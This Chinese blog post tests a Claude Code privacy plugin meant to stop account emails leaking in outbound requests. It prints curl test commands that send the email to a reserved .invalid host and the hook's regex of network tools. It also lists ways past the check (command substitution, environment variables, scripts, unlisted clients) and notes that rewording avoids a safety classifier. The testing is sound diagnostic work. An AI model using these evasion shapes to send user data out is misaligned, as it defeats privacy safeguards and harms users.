Claude Code 从 2.1.317 起内置了 cc-plugin-privacy 插件,默认开启,用来阻止模型把登录账号的邮箱写进对外请求。HN 上那条「Claude Code 把你的邮箱发给网站」的帖子已经攒到 1493 分、468 条评论,issue #107757 也还开着。我手上这台 Windows 10 装的是 npm 版 2.1.318,~/.claude.json 里有登录邮箱,于是按仓库里「该拦」和「不该拦」的样例各挑了两条命令实测了一遍。结果是 4 条拦了 2 条,而且和仓库源码、issue 里其他 Windows 用户的报告三方都对不上。下面把 Windows 侧的环境坑、实测过程和二进制里的真实实现一并写清楚,方便你在自己机器上复现判断。
官方说法与现场说法
issue #107757 的报告人用 2.1.318(macOS),说网页搜索时邮箱被写进了请求的 User-Agent,随后收到大量诈骗邮件。Anthropic 员工 poteat 回复:2.1.317 起内置 cc-plugin-privacy,确定性拦住该行为,默认开启,可在 /plugins 里关闭。同一天 lydia_hallie 补充来龙去脉:早先有用户抱怨模型在 @author 之类的地方编造人名,于是把登录账号邮箱放进了模型上下文,模型自己写 curl 时会把邮箱当成联系地址填进 User-Agent。她表示邮箱会在下个版本从上下文移除,在此之前由内置模块在「网页工具或 curl 风格命令带上你的邮箱」时先询问。
v2.1.317 发行说明里的原句是 Added a check that asks before a web or shell tool call sends your account email address to the network,用词是 asks(先问),不是 refuses(拒绝)。这一点后面会直接影响 -p 之类无人应答的会话里命令的最终命运。
Windows 上先要解决会话起不来
版本信息:claude --version 输出 2.1.318 (Claude Code),npm 包 @anthropic-ai/claude-code 2.1.318,实际二进制是 bin/claude.exe,约 327 MB 的 PE32+。~/.claude/settings.json 的 env 里写了 CLAUDE_CODE_USE_POWERSHELL_TOOL=0,而本机又没把 Git for Windows 装在默认位置,直接启动会报:
Claude Code on Windows requires a shell tool. Git Bash was not found and the PowerShell tool is disabled (CLAUDE_CODE_USE_POWERSHELL_TOOL=0).
我没有改这份 settings,而是用一份去掉该项的副本,并设置 CLAUDE_CODE_GIT_BASH_PATH 指向本机已有的 bash,会话才起来。用户 settings 和 settings.local.json 里都没有 enabledPlugins,也就没有 "cc-plugin-privacy@builtin": false 这类关闭项,插件按默认启用。系统初始化事件里列出的插件是 cc-plugin-agents-md、cc-plugin-telemetry、cc-plugin-privacy、cc-plugin-plugin-authoring,工具里同时有 Bash、PowerShell、Monitor、WebFetch、WebSearch。
四条命令的实测结果
四条都走 Bash 工具,目标域名统一用 .invalid(保留域名,不会解析,打不到任何第三方),输出重定向到 /dev/null,邮箱就是登录账号那个。
第一条,命令里同时出现邮箱和 User-Agent 字样,但没有外发客户端:
- echo "User-Agent: test <account email>" > /dev/null; echo EXIT:$?
复制代码
结果 EXIT:0,工具返回 is_error: false,既没拒绝也没弹权限提示。按仓库源码这条应该被拒绝,实际放行。
第二条,用 curl -A 带邮箱:
- curl -s -m 3 -A "test <account email>" http://leak-test.invalid/; echo EXIT:$?
复制代码
结果被插件拦住,命令没执行,连 EXIT: 那行都没有。返回文本是:Permission to use Bash denied by plugin cc-plugin-privacy: This call's input holds your account email address, which may leave this machine. If nobody asked to send it, go on without it. 注意措辞是「先问你」,不是仓库 refusal.ts 里的 This call was refused。
第三条,邮箱只放在 URL 查询参数里,命令文本里没有 User-Agent 字样:
- curl -s -m 3 "http://leak-test.invalid/?q=<account email>"; echo EXIT:$?
复制代码
返回与第二条一字不差,同样被拦。而仓库 README 明确把这种情况列为放行(邮箱只出现在 URL、请求体、curl -u 或 From: 头里)。
第四条,邮箱不在命令文本里,运行时用 node 从环境变量算出来再拼进带 User-Agent 字样的输出:
- v=$(node -e "process.stdout.write(process.env.ACCOUNT_EMAIL||"")"); echo "User-Agent: fixed-agent $v" > /dev/null; echo EXIT:$?
复制代码
结果 EXIT:0,is_error: false,没有任何提示。检查只看命令文本,文本里既没有 @ 也没有邮箱,自然放行。这一条与 README 写的「现算出来的值不查」一致,安装包也没有补。
四条命令是在一个独立任务目录里通过 Agent 逐条发起的,每条的工具调用和原始返回都落盘保存,便于复核。
安装包里的钩子和仓库源码不是一份
仓库源码解释不了上面的结果,于是直接在 bin/claude.exe 里找字符串。cc-plugin-privacy 这个名字出现 3 处,插件描述为:Privacy: asks before a shell or web tool runs with the signed-in account's email address in a call that may leave the machine。钩子本体(变量名被压缩过)大意是:
- var l = ["WebBrowser", "WebFetch", "WebSearch"],
- y = ["Bash", "Monitor", "PowerShell", "Tmux"],
- _ = /\b(curl|wget|https?|httpie|xh|nc|ncat|socat|telnet|ssh|scp|sftp|rsync|ftp|lftp|rclone|iwr|irm|invoke-webrequest|invoke-restmethod)\b/;
- var S = "This call's input holds your account email address, which may leave this machine. If nobody asked to send it, go on without it.";
复制代码
判定逻辑是:先把工具输入 JSON 序列化并转小写,再做一层百分号编码解码,拼成一个待匹配串;串里没有 @ 直接放行;取出 session 身份里的邮箱,邮箱为空或串里不含邮箱也放行;把邮箱从串里剔除后,如果当前工具在 Web 类名单里,或者剩余文本命中上面那个客户端正则,就返回 { decision: "ask", reason: S },否则维持原判定。
和仓库 mods/privacy/hooks/register.ts 比,有 4 处不同:
一是监测面更宽。仓库只挂 Bash、Monitor、PowerShell 三种工具,安装包加了 WebBrowser、WebFetch、WebSearch 和 Tmux,所以「网页工具也会先问」在安装包里是真的,仓库源码里并没有。
二是判定条件换掉了。仓库要命中 User-Agent 字样(User-Agent、user_agent、--user-agent、UA= 等)或 curl 配 -A、wget 配 -U 这类客户端标志;安装包只看命令里有没有那份客户端名单里的词,curl、wget、http、https、ssh、scp、iwr 都算。所以第三条「邮箱只在 URL 里」会被拦——命令里有 http。
三是结果是 ask 而不是 deny。仓库返回 deny,README 强调不弹确认、已保存的允许规则和 auto 模式分类器都不能放开;安装包返回 ask,无人应答时就等于拒绝。
四是存在服务端开关。插件是否可用由运行时开关(默认 true)决定,所以别人报「插件在列表里但完全不拦」,可能卡在开关上或者会话没加载钩子,光看版本号区分不了。
把四条命令代进这个函数,全部对得上:第一条没有客户端名、也没有 Web 类工具,返回原判定所以执行;第二条、第三条命中 http,返回 ask,无人应答变成拒绝;第四条提前返回,执行。也顺带解释了 Windows 11 上另一位用户 npm 版 2.1.318 那条 echo 和 curl -A 都放行的报告——curl 打到 http://leak-test.invalid/ 返回的是超时(exit 28),说明命令确实发出去了。
还有一层不在插件里的拦截
实测时我先试过把邮箱嵌进 curl 查询参数、用命令替换现算的写法,那一条根本没走到插件,返回的是 Your response above was stopped by a safety classifier — this is not a tool or API error,工具调用直接被丢弃,模型随后自己拒绝执行,理由是「这是把账号信息发到外部主机」。所以「没被插件拦住」不等于「命令一定会跑」,但这一层看的是意图而不是命令文本,换一种不带外发语义的写法就不再触发,不能当作可依赖的防护。
在自己机器上怎么验证
· 先看 claude --version 是不是 2.1.317 或更新,再查 ~/.claude/settings.json 和 settings.local.json 的 enabledPlugins 里有没有 "cc-plugin-privacy@builtin": false。
· 开会话看系统初始化的插件列表里有没有 cc-plugin-privacy@builtin。
· 用 .invalid 域名跑 echo 那条和 curl -A 那条:两条都不拦说明钩子没生效;第二条拦、第一条不拦就是我这次的情况。
· 再补一条邮箱只出现在 URL 里的 curl,确认自己这台认的是「User-Agent 字样」还是「客户端名单」。
· 别用真实域名试,那是在拿自己的邮箱做实验。
插件确实拦不住的形状有:邮箱来自 $(...)、环境变量或文件内容;先写进脚本再用解释器执行(命令行里只剩 python fetch.py);用名单以外的客户端发。这些 README 和安装包都不覆盖。要关闭插件,按 README 用 /plugin disable,或在用户、--settings、托管 settings 的 enabledPlugins 里写 "cc-plugin-privacy@builtin": false,仓库级 settings 关不掉。
最后要认清一点:根上的修复还没到。把邮箱从模型上下文里移除是下个版本的事,2.1.317 只加了这条「先问一句」的检查,而检查看的是命令文本——只要上下文里还有邮箱,模型就仍能把它写进检查看不到的地方。对 Windows 上跑 Claude Code 的人来说,把它当成一层有明确边界的礼貌提醒,而不是安全边界,才是准确的预期。 |